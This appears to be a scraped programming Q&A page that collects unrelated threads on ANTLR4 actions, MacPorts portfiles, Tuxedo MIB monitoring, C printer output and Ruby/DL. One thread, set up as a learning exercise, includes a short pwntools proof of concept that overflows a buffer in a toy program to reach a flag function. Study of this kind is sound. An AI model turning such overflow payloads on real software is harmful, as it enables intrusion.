implementing IF action in ANTLR4/JS - antrl4

Trying to adapt an ANTLR3 application (in C++) into ANTLR4 (in JS), I still don't understand how to implement a IF THEN ELSE ENDIF in my language.
Preferably using embedded actions because my app is simple, but I accept any alternative as hint (since I'm stuck for weeks, despite the book). Please help !
typical context:
stat: cmd SEPARATOR
| SEPARATOR
;
cmd: ...
| 'if' c=e 'then' y=stat ( el='else' n=stat )? 'endif'
{ *ACTION* }
;
NB: In ANTLR3, ACTION used to be as simple as
stat( $c.getNextSibling().getFirstChild() );
else
stat( $c.getNextSibling().getNextSibling() );
But I still don't understand how to do it in ANTLR4/JS (in direct action, visitor, listener, or whatever).
Thanks !

Related

How to abort a macports portfile on an error condition?

I working on a version bump on the cc65 and encountered a problem with the linuxdoc-tools. Since I can't fix the linuxdoc-tools and there is a simple workaround possible I decided to add an if statement to inform the user together with the workaround:
if {! [file exists ${prefix}/bin/perl] } {
ui_error "
«${prefix}/bin/perl» is missing but the linuxdoc-tools depends on it.
Please create an appropriate symbolic link for linuxdoc-tools to work.
"
exit 1
}
Crude but the best I can do since I'm neither the perl5 nor the linuxdoc-tools maintainer and I don't want to spend to much time on a version bump.
However, the MacPorts doesn't understand exit 1 and ui_error won't stop execution on its own.
How do I stop the execution so not to waste the users time on a build which will otherwise fail right at the end.
Use return -code error "error message", or the shorthand for the same thing, error "error message".
Note that you should use ui_error before that to print a human-readable message for the user – while the error message is also being printed, it can sometimes get lost in the output.
Additionally, note that $prefix/bin/perl is a build dependency of linuxdoc-tools. If it is also needed at runtime, you should submit a pull request that adds depends_run path:bin/perl:perl5 to the port rather than attempting to fix this bug in your port.

How do I send raw bytes interactively for a buffer overflow exploit?

I am trying, as part of an exercise, to exploit a simple program by overwriting a value of a variable though a buffer overflow. I am pretty sure I have the idea behind the exploit figured out, but since I am unable to inject my code I can't know for sure.
I have tried to build a script that uses Pwntools which is good for packing integers but I haven't managed to get it to work. I also tried to read up about TTY and how you could manipulate what the terminal sends to the process.
A simple pseudocode of the program that I am exploiting:
returnFlag() {
print(flag)
}
main() {
char[8] = input
id = 999999
input = fgets()
if (id = 0) {
returnFlag()
}
}
My plan is to overflow the variable input and overwrite the value of id with 0 so it the function returnFlag() is executed. But when I input for example "AAAA\x00\x00\x00" I only get gibberish when I look at the memory with GDB.
This problem has driven me crazy for the last 1,5 weeks and any help would be greatly appreciated.
So I figured out how to solve the problem. Hopefully this will help someone else as well.
The problem was that I did not know how to send the "exploit code" because it's made up by nulls. Fortunately there is a neat tool called Pwntools link that helps you just with that.
With that tool you can interact with the program and "pack" integers so that you can send all the types of bytes necessary, including null-bytes.
A simple POC using Pwntools to exploit the program above, lets call it vuln, would look like:
#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'
pl = fit({0:'1', 8:[0x00000000]})
io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))
So I first import all the libs, set up the environment that I am trying to exploit with context. Then I use the fit-function. It packs all of my input in a way that I can send it to the program. I am still trying to figure out what fit is doing behind the scenes.

How to monitor Tuxedo via mib

Currently I am tring to write a program to monitor Tuxedo. from the official documents, I found MIB is suitable for writting program to monitor it. I have read a quite lot of document of here http://docs.oracle.com/cd/E13203_01/tuxedo/tux90/rf5/rf5.htm#998207. Although there are so many instructions of very class, there is no any guide to tell me how to use it from the beginning. I have tried to search on github however unfortuanately there is no any code relating to tuxedo mib. Does any one have some good sample code?
Thanks a lot.
Here a Shell-function that reads the blocktime from Tuxedo:
get_blocktime() {
TmpErr=/tmp/ud32err_$$
rtc=0
ud32 -Ctpsysadm <<EOF 2>$TmpErr | grep TA_BLOCKTIME | cut -f2
SRVCNM .TMIB
TA_CLASS T_DOMAIN
TA_OPERATION GET
EOF
# ud32 has no good error-handling
if [ -s $TmpErr ]; then
echo "$PRG: Error calling ud32:"
cat $TmpErr 1>&2
rtc=1
fi
rm $TmpErr
exit $rtc
}
There are several examples of accessing MIB with Python https://github.com/PacktPublishing/Modernizing-Oracle-Tuxedo-Applications-with-Python/tree/main/Chapter06. For example:
import tuxedo as t
t.tpinit(cltname="tpsysop")
machine = t.tpadmcall(
{
"TA_CLASS": "T_MACHINE",
"TA_OPERATION": "GET",
"TA_FLAGS": t.MIB_LOCAL,
}
).data
A couple of notes:
you will need the TA_FLAGS set to MIB_LOCAL to return statistics (not done by default)
you might want to use tpadmcall() function instead of calling the .TMIB service. The function is much lighter on the system and does not increase Tuxedo statistics (number of service calls). The main limitation of tpadmcall is the limited size of the response so you will need to call the .TMIB service for server and queue statistics if your application has tens of them.
If the code example is not enough, you can check the chapter 6 of the book Modernizing Oracle Tuxedo Applications with Python.
I have some C code for calling .TMIB to monitor Tuxedo application here: https://github.com/TuxSQL/tuxmon
That should get you started.

How can I make the printer work in C in MS VC++ Express edition?

I am using VC++ 2008 express edition for C. When I try to run this:
/* Demonstrates printer output. */
#include <stdio.h>
main()
{
float f = 2.0134;
fprintf(stdprn, "This message is printed.\n\n");
fprintf(stdprn, "And now some numbers:\n\n");
fprintf(stdprn, "The square of %f is %f.", f, f*f);
/* Send a form feed */
fprintf(stdprn, "\f");
}
I get four of these errors: error C2065: 'stdprn' : undeclared identifier.
On this forum, they wrote that it works to define the printer as follows:
FILE *printer;
printer = fopen("PRN", "w");
EDIT
It builds with a warning that fopen is unsafe. When it runs the error appears:
Debug Assertion fails.
File: f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c
Line: 55
Expression: (str != NULL)
The stdprn stream was an extension provided by Borland compilers - as far as I know, MS have never supported it. Regarding the use of fopen to open the printer device, I don't think this will work with any recent versions of Windows, but a couple of things to try:
use PRN: as the name instead of PRN (note the colon)
try opening the specific device using (for example) LPT1: (once again, note the colon). This will of course not work if you don't have a printer attached.
don't depend on a printer dialog coming up - you are not really using the WIndows printing system when you take this approach (and so it probably won't solve your problem, but is worth a try).
I do not have a printer attached, but I do have the Microsoft XPS document writer installed, s it shoulod at least bring up the standard Windows Print dialog from which one can choose the printer.
No. It wouldn't bring up a dialogue. This is because you are flushing data out to a file. And not going through the circuitous Win32 API.
The print doesn't work because the data is not proper PDL -- something that the printer could understand. For the print to work fine, you need to push in a PDL file, with language specific constructs. This varies from printer to printer, a PS printer will need you to push in a PostScript snippet, a PCL -- a PCL command-set and in case of MXDW you will have to write up XML based page description markup and create a zip file (with all resources embedded in it) i.e. an XPS file to get proper printout.
The PDL constructs are important because otherwise the printer doesn't know where to put the data, which color to print it on, what orientation to use, how many copies to print and so on and so forth.
Edit: I am curious why you are doing this. I understand portability is probably something you are trying to address. But apart from that, I'd like to know, there may be better alternatives available. Win32 Print Subsytem APIs are something that you ought to lookup if you are trying to print programmatically on Windows with any degree of fidelity.
Edit#2:
EDIT It builds with a warning that fopen is unsafe.
This is because MS suggests you use the safer versions nowadays fopen_s . See Security Enhancements in the CRT.
When it runs the error appears:
Debug Assertion fails. File: f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c Line: 55
Expression: (str != NULL)
This is because fopen (whose return value you do not check) returns a NULL pointer. The file open failed. Also, if it did succeed a matching fclose call is called for.
There's no such thing as stdprn in ANSI C, it was a nonstandard extension provided by some compilers many years ago.
Today to print you have to use the specific APIs provided on your platform; to print on Windows you have to use the printing APIs to manage the printing of the document and obtain a DC to the printer and the GDI APIs to perform the actual drawing on the DC.
On UNIX-like OSes, instead, usually CUPS is used.
You can substitute the printer using this command with net use, see here on the MSDN kb
NET USE LPT1 \\server_name\printer_name
There is an excellent chapter on printing in DOS using the BIOS, ok, its a bit antiquated but interesting to read purely for nostalgic sake.
Onto your problem, you may need to use CreateFile to open the LPT1 port, see here for an example, I have it duplicated it here, for your benefit.
HANDLE hFile;
hFile = CreateFile("LPT1", GENERIC_WRITE, 0,NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
// handle error
}
OVERLAPPED ov = {};
ov.hEvent = CreateEvent(0, false, false, 0);
char szData[] = "1234567890";
DWORD p;
if (!WriteFile(hFile,szData, 10, &p, &ov))
{
if (GetLastError() != ERROR_IO_PENDING)
{
// handle error
}
}
// Wait for write op to complete (maximum 3 second)
DWORD dwWait = WaitForSingleObject(ov.hEvent, 3000);
if (dwWait == WAIT_TIMEOUT)
{
// it took more than 3 seconds
} else if (dwWait == WAIT_OBJECT_0)
{
// the write op completed,
// call GetOverlappedResult(...)
}
CloseHandle(ov.hEvent);
CloseHandle(hFile);
But if you insist on opening the LPT1 port directly, error checking is omitted...
FILE *prn = fopen("lpt1", "w");
fprintf(prn, "Hello World\n\f");
fclose(prn);
Hope this helps,
Best regards,
Tom.

How do you use Ruby/DL? Is this right?

I am trying to write an interface between RSPEC (ruby flavoured BDD) and a Windows application. The application itself is written in an obscure language, but it has a C API to provide access. I've gone with Ruby/DL but am having difficulties getting even the most basic call to a DLL method to work. Here is what I have so far, in a file called gt4r.rb:
require 'dl/import'
module Gt4r
extend DL::Importable
dlload 'c:\\gtdev\\r321\\bin\\gtvapi'
# GTD initialization/termination functions
extern 'int GTD_init(char *[], char *, char *)'
extern 'int GTD_initialize(char *, char *, char *)'
extern 'int GTD_done(void)'
extern 'int GTD_get_error_message(int, char **)'
end
My reading so far suggests that this is all I need to get going, so I wrote up a RSPEC example:
require 'gt4r'
##test_environment = "INCLUDE=C:\\graphtalk\\env\\aiadev\\config\\aiadev.ini"
##normal_user = "BMCHARGUE"
describe Gt4r do
it 'initializes' do
rv = Gt4r.gTD_initialize ##normal_user, ##normal_user, ##test_environment
rv.should == 0
end
end
And when run...
C:\code\GraphTalk>spec -fs -rgt4r gt4r_spec.rb
Gt4r
- initializes (FAILED - 1)
1)
'Gt4r initializes' FAILED
expected: 0,
got: 13 (using ==)
./gt4r_spec.rb:9:
Finished in 0.031 seconds
1 example, 1 failure
The return value (13) is an actual return code, meaning an error, but when I try to add the gTD_get_error_message call to my RSPEC, I can't get the parameters to work.
Am I heading in the right direction and can anyone point to the next thing I can try?
Thanks,
Brett
A follow up to this question, showing the part that fails when I try to get the error message from my target library:
require 'gt4r'
##test_environment = "INCLUDE=C:\\graphtalk\\env\\aiadev\\config\\aiadev.ini"
##normal_user = "BMCHARGUE"
describe Gt4r do
it 'initializes' do
rv = Gt4r.gTD_initialize ##normal_user, ##normal_user, ##test_environment
Gt4r.gTD_get_error_message rv, #msg
#msg.should == ""
rv.should == 0
end
end
I expect the error message to be returned in #msg, but when run I get the following:
Gt4r
(eval):5: [BUG] Segmentation fault
ruby 1.8.6 (2008-08-11) [i386-mswin32]
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
And this if I use a symbol (:msg) instead:
C:\code\GraphTalk\gt4r_dl>spec -fs -rgt4r gt4r_spec.rb
Gt4r
- initializes (ERROR - 1)
1)
NoMethodError in 'Gt4r initializes'
undefined method `to_ptr' for :msg:Symbol
(eval):5:in `call'
(eval):5:in `gTD_get_error_message'
./gt4r_spec.rb:9:
Finished in 0.046 seconds
1 example, 1 failure
Clearly I am missing something about passing parameters between ruby and C, but what?
The general consensus is you want to avoid DL as much as possible. The (english) documentation is quite sketchy and the interface is difficult to use for anything but trivial examples.
Ruby native C interface is MUCH easier to program against. Or you could use FFI, which fills a similiar niche to DL, originally comes from the rubinius project and has recently been ported to "normal" ruby. It has a nicer interface and is much less painful to use:
http://blog.headius.com/2008/10/ffi-for-ruby-now-available.html
The return value (13) is an actual
return code, meaning an error, but
when I try to add the
gTD_get_error_message call to my
RSPEC, I can't get the parameters to
work.
It might help posting the error instead of the code that worked :)
Basically, once you start having to deal with pointers as in (int, char **), things get ugly.
You need to allocate the data pointer for msg to be written to, since otherise C will have nowhere to write the error messages. Use DL.mallo.

Resources